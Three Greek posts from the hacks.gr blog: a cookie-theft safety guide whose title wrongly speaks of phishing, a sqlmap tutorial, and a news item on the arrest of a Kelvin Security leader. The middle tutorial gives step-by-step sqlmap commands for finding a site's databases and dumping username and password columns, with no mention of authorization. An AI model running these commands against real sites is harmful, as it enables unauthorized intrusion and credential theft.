Τι είναι οι επιθέσεις «ψαρέματος» και πως να τις αποφύγουμε.

Οι ψηφιακοί χώροι έχουν γίνει σημαντικό κομμάτι της καθημερινής μας ζωής, και οι ιστότοποι συχνά χρησιμοποιούν τα cookies για να συλλέξουν πληροφορίες σχετικά με τους χρήστες. Ωστόσο, η υποκλοπή των cookies, δηλαδή η παράνομη πρόσβαση και χρήση αυτών των πληροφοριών από ανεπιθύμητα πρόσωπα, αποτελεί σοβαρή απειλή για την ιδιωτικότητά σας. Σε αυτό το άρθρο, θα εξετάσουμε τι είναι η υποκλοπή των cookies, πώς λειτουργεί, και πώς μπορείτε να προστατεύσετε την ιδιωτικότητά σας όταν περιηγείστε στο διαδίκτυο.

Τι είναι τα Cookies;

Τα cookies είναι μικρά αρχεία που αποθηκεύονται στον υπολογιστή σας όταν επισκέπτεστε ιστοσελίδες. Αυτά τα αρχεία περιέχουν πληροφορίες σχετικά με την περιήγησή σας, όπως τις προτιμήσεις σας, το ιστορικό περιήγησής σας, και τα στοιχεία σύνδεσης. Τα cookies χρησιμοποιούνται για να βελτιστοποιήσουν την εμπειρία περιήγησής σας στο διαδίκτυο και να παρέχουν εξατομικευμένο περιεχόμενο.

Υποκλοπή Cookies: Τι Συμβαίνει;

Η υποκλοπή των cookies συμβαίνει όταν κακόβουλοι ή ανεπιθύμητοι χρήστες καταφέρνουν να αποκτήσουν πρόσβαση στα cookies του υπολογιστή σας χωρίς την άδειά σας. Αυτό μπορεί να γίνει με διάφορους τρόπους:

1. Μαλισταρισμένα Emails ή Μηνύματα: Κακόβουλοι αποστολείς μπορούν να στείλουν phishing emails ή μηνύματα που περιέχουν κακόβουλους συνδέσμους που, αν ακολουθήσετε, μπορούν να υποκλέψουν τα cookies από τον φυλλομετρητή σας.
2. Κακόβουλα Προγράμματα: Οι κακόβουλοι χρήστες μπορούν να εγκαταστήσουν κακόβουλα προγράμματα στον υπολογιστή σας που να αφαιρούν τα cookies από τον φυλλομετρητή σας.
3. Ευπάθειες του Ιστοτόπου: Σε ορισμένες περιπτώσεις, ευπάθειες στον ιστότοπο μπορούν να επιτρέψουν σε επιτιθέμενους να κλέψουν τα cookies από τον φυλλομετρητή σας.

Πώς να Προστατευτείτε από την Υποκλοπή των Cookies:

Παρότι η υποκλοπή των cookies μπορεί να φαίνεται ανησυχητική, υπάρχουν πολλά βήματα που μπορείτε να ακολουθήσετε για να προστατευτείτε:

1. Ενημερωθείτε: Πρώτα από όλα, είναι σημαντικό να κατανοήσετε τον τρόπο λειτουργίας των cookies και τους κινδύνους που μπορεί να συνεπάγονται. Ενημερωθείτε για την ιδιωτικότητα στον ψηφιακό κόσμο και για τα εργαλεία προστασίας.
2. Ενημερώστε τον Φυλλομετρητή σας: Οι περισσότεροι σύγχρονοι φυλλομετρητές έχουν ενσωματωμένες επιλογές ασφαλείας και προστασίας της ιδιωτικότητας. Ενημερώστε τον φυλλομετρητή σας και χρησιμοποιήστε ρυθμίσεις που περιορίζουν τα cookies.
3. Χρησιμοποιήστε Επεκτάσεις Ασφαλείας: Υπάρχουν πολλές επεκτάσεις (extensions) διαθέσιμες για διάφορους φυλλομετρητές που μπορούν να σας βοηθήσουν να προστατευτείτε από την υποκλοπή των cookies και άλλες απειλές. Προσθέστε μια επέκταση ασφαλείας στον φυλλομετρητή σας.
4. Καθαρίστε τα Cookies Ρυθμιστικά: Ο φυλλομετρητής σας συνήθως παρέχει τη δυνατότητα να διαγράψετε τα cookies. Κανονικά, αυτό γίνεται από τις ρυθμίσεις του φυλλομετρητή σας. Καθαρίστε τα cookies τακτικά ή όταν υποψιάζεστε ότι η ασφάλεια του υπολογιστή σας μπορεί να έχει παραβιαστεί.
5. Χρησιμοποιήστε Ενισχυμένη Ασφάλεια: Συνιστάται να χρησιμοποιείτε αντι-virus και αντι-malware προγράμματα για να προστατεύσετε τον υπολογιστή σας από κακόβουλο λογισμικό που μπορεί να επιχειρήσει να αποκτήσει πρόσβαση στα cookies.
6. Επιλέξτε Ασφαλείς Συνδέσεις (HTTPS): Προτιμήστε ιστοσελίδες που παρέχουν ασφαλείς συνδέσεις (HTTPS). Αυτό εξασφαλίζει ότι τα δεδομένα που ανταλλάσσετε είναι κρυπτογραφημένα.
7. Χρησιμοποιήστε Ενισχυμένες Πρακτικές Πλοήγησης: Είναι σημαντικό να είστε προσεκτικοί και να ακολουθείτε καλές πρακτικές πλοήγησης στο διαδίκτυο. Μην κλικάρετε σε ύποπτους συνδέσμους ή επισκεφτείτε αναξιόπιστες ιστοσελίδες.
8. Χρησιμοποιήστε VPN: Ένα εικονικό ιδιωτικό δίκτυο (VPN) μπορεί να προστατεύσει την ιδιωτικότητά σας. Τα VPN κρυπτογραφούν την σύνδεσή σας στο διαδίκτυο και αναθέτουν διευθύνσεις IP από διάφορες τοποθεσίες, καθιστώντας δυσκολότερο τον εντοπισμό της πραγματικής σας τοποθεσίας.
9. Καλά Συνθηματικά: Χρησιμοποιήστε ισχυρά συνθηματικά για τις υπηρεσίες σας στο διαδίκτυο. Επιλέξτε διαφορετικά συνθηματικά για κάθε υπηρεσία και αλλάξτε τα περιοδικά.
10. Καταστείστε Ενημερωμένοι: Η ασφάλεια στο διαδίκτυο διαμορφώνεται διαρκώς. Ενημερωθείτε σχετικά με τις τελευταίες απειλές και τις βέλτιστες πρακτικές για προστασία της ιδιωτικότητάς σας.
11. Χρησιμοποιήστε Προστατευτικά Προγράμματα Περιήγησης: Ορισμένοι φυλλομετρητές προσφέρουν λειτουργίες προστασίας της ιδιωτικότητας, όπως “Λειτουργία Ιδιωτικής Περιήγησης” (Private Browsing) ή “Απενεργοποίηση Cookies από τρίτους”.
12. Προστατευτείτε από τον Κοινωνικό Μηχανικό: Οι κοινωνικοί μηχανικοί προσπαθούν να αποκτήσουν πρόσβαση στον υπολογιστή σας με κολακευτικές τεχνικές. Να είστε προσεκτικοί με τις επικοινωνίες που λαμβάνετε από άγνωστα άτομα.

Το κλειδί για την προστασία από την υποκλοπή των cookies είναι η επίγνωση και η προαγωγή της ιδιωτικότητάς σας.

Απολαύστε την Ιδιωτικότητα σας: Οι πληροφορίες σας και η ιδιωτικότητά σας είναι σημαντικές. Με τη σωστή επιμέλεια και προστασία, μπορείτε να απολαμβάνετε τον ψηφιακό κόσμο χωρίς ανησυχίες για την υποκλοπή των cookies ή την παραβίαση της ιδιωτικότητάς σας.

Τέλος, θυμηθείτε ότι η τεχνολογία εξελίσσεται συνεχώς, και οι απειλές στον διαδικτυακό κόσμο μπορεί να αλλάζουν. Είναι σημαντικό να είστε ενημερωμένοι και προσεκτικοί στην πλοήγησή σας, καθώς και να ακολουθείτε τις πρακτικές προστασίας της ιδιωτικότητας για να διασφαλίσετε ότι οι προσωπικές σας πληροφορίες παραμένουν ασφαλείς.

Με αυτά τα βήματα και την επίγνωση των κινδύνων, μπορείτε να προστατεύσετε την ιδιωτικότητά σας στον ψηφιακό κόσμο και να απολαμβάνετε μια ασφαλή και ανώδυνη περιήγηση στο διαδίκτυο.

• Πληροφορίες Συγγραφέα

Alexandros Vyzantios

Hacks.gr

Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

http://hacks.gr

contact@hacks.gr

Related posts:

Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε CSRF: Όταν οι Κρυφές Επιθέσεις Κατά των Δικτυακών Εφαρμογών απειλούν την Ασφάλειά μας Προστατεύοντας την Επιχείρησή σας: Η Σημασία της Κυβερνοασφάλειας Το Metasploit: Ένα Ισχυρό Εργαλείο για Την Κυβερνοασφάλεια

Πάμε να δούμε πως θα κάνουμε μια database dump με τη χρήση του Sql Map.

Κάποιες βασικές εντολές που θα χρειαστούμε.

Εκτέλεση του sqlmap –> CD C: \ python27 \ sqlmap (ανάλογα με το πού έχετε τοποθετήσει)

Εύρεση κενών ασφαλείας –> sqlmap.py -u <URL> - sqlmap.py -u <URL>

Εύρεση των βάσεων δεδομένων –> sqlmap.py -u <URL> --dbs

Αποκτήστε πρόσβαση στη βάση δεδομένων που θέλετε –> sqlmap.py -u <URL> --tables -D <όνομα βάσης δεδομένων>

Τραβήξτε τις στήλες των πινάκων –> sqlmap.py -u <URL> -columns -Τ <όνομα πίνακα>

Βρείτε τα δεδομένα απο τα tables–> sqlmap.py -u <URL> --columns -Τ <όνομα πίνακα> -C <ονόματα των στηλών> (serperate με κόμματα EG: a_username, a_password) --dump

Ας ξεκινήσουμε.

Δεν θα μπω στη διαδικασία να σας εξηγήσω πως μπορούμε να βρούμε μια σελίδα ευάλωτη σε sql injection η πως κάνουμε εγκατάσταση του Sqlmap.

1)Δίνουμε την εντολή 

sqlmap.py -u vuln url

Όπου vuln url βάζουμε το δικό μας.

Αν είναι ευπαθής η σελίδα θα δείτε κάτι σαν το παρακάτω.

2)Πάμε να βρούμε την βάση δεδομένων, αυτο μπορούμε να το κάνουμε με την εντολή

sqlmap.py -u <vuln url> --dbs

Και σαν αποτέλεσμα παίρνουμε την βάση δεδομένων της σελίδας.

3)Τώρα θα πρέπει να πάρουμε πρόσβαση το οποίο είναι εύκολο! Διαγράψετε –dbs και πληκτρολογήστε –tables -D και, στη συνέχεια, τη βάση δεδομένων που θέλετε.

Τι κάναμε ακριβώς; το –tables λέει  στο sqlmap οτι  ψάχνουμε για πίνακες και το  -D (πρέπει να είναι κεφαλαία!) λέει  στο sqlmap οτι θέλουμε να ανοίξουμε αυτή τη βάση δεδομένων.

Αν όλα πάνε καλα θα πρέπει να μοιάζει με την παραπάνω εικόνα

4)Τώρα θα πρέπει να ανοίξετε τους πίνακες που βρήκε για να διαβάσουμε τα δεδομένα, usernames,passwords κλπ

Διαγράψτε το –tables και αντικαταστήστε το με –columns το οποίο ενημερώνει τον χρήστη οτι θέλουμε να ανοίξουμε τις στήλες στη συνέχεια, πληκτρολογήστε -Τ (ΚΕΦΑΛΑΙΑ!) Και, στη συνέχεια, το πίνακα που θέλετε να ανοίξετε!

Και το αποτέλεσμα

Βλέπουμε δύο πράγματα  ενδιαφερων, db_username και db_password.

Για άλλη μια φορά,  προσθέστε -C βάση δεδομένων, βάση δεδομένων αντικατάστασή τους με αυτά που θέλετε και, στη συνέχεια, –dump στο τέλος, αυτό  λέει στο sqlmap οτι θέλουμε να έχουν πρόσβαση σε δύο από αυτές τις στήλες.

• Author Details

Αλέξανδρος Βυζάντιος

Hacks.gr

Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

https://hacks.gr/

alex@hacks.gr

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Η ισπανική αστυνομία συνέλαβε έναν από τους αρχηγούς της hacking ομάδας ‘Kelvin Security’, η οποία πιστεύεται ότι φέρεται υπεύθυνη για 300 κυβερνοεπιθέσεις εναντίον οργανισμών σε 90 χώρες από το 2020.
Η είδηση για τη σύλληψη δημοσιεύτηκε στο κανάλι του Telegram της Ισπανικής Εθνικής Αστυνομίας/

“Οι κύριοι στόχοι της ομάδας είναι κυβερνητικές ιστοσελίδες και ιδρύματα, έχοντας επιτεθεί στα Δημοτικά Συμβούλια των Getafe (Μαδρίτη), Camas (Σεβίλη), La Haba (Μπανταχόθ) και την Κυβέρνηση της Castilla-La Mancha στην Ισπανία,” αναγράφει μήνυμα στο Telegram.

Οι δράστες ήταν ενεργοί σε hacking forums, όπως τα RaidForums και BreachForums, όπου πούλαγαν τα κλεμμένα δεδομένα ή τα μοιραζαν δωρεάν σε άλλους χρήστες.

Δύο ενδεικτικά παραδείγματα παραβιάσεων της Kelvin Security είναι μια επίθεση κατά της Vodafone Italia τον Νοέμβριο του 2022 και μια παραβίαση της αμερικανικής εταιρείας συμβούλων Frost & Sullivan τον Ιούνιο του 2020.

Και στις δύο περιπτώσεις, η Kelvin Security προσπάθησε να πουλήσει τα δεδομένα που είχε αποκτήσει από τις επιθέσεις σε διάφορα hacking forums.

Η ισπανική αστυνομία δήλωσε ότι η επιχείρηση ενέπλεκε πολλές αστυνομικές μονάδες και συντονίστηκε από την Εισαγγελία του Αλικάντε.

Η αστυνομία συνέλαβε έναν από τους ηγέτες της Kelvin Security, έναν Βενεζουελανό υπήκοο, στην Αλικάντε στις 7 Δεκεμβρίου 2023.

Η αστυνομία δηλώνει ότι η έρευνα στην ομάδα ξεκίνησε τον Δεκέμβριο του 2021, κάτι που δείχνει πόσο πολύπλοκο είναι να ο εντοπισμός των hackers.

Η αστυνομία κατάσχεσε αρκετά ηλεκτρονικά αντικείμενα για την δικαστική έρευνα με την ελπίδα ότι θα οδηγήσουν στην εντοπισμό και άλλων μελών.

Η αστυνομία κοινοποίησε ένα βίντεο που δείχνει την επίθεση στο σπίτι του και τη σύλληψή του.

https://www.youtube.com/watch?v=EFG-BkSdLbA

• Author Details

Αλέξανδρος Βυζάντιος

Hacks.gr

Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.

https://hacks.gr/

alex@hacks.gr

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking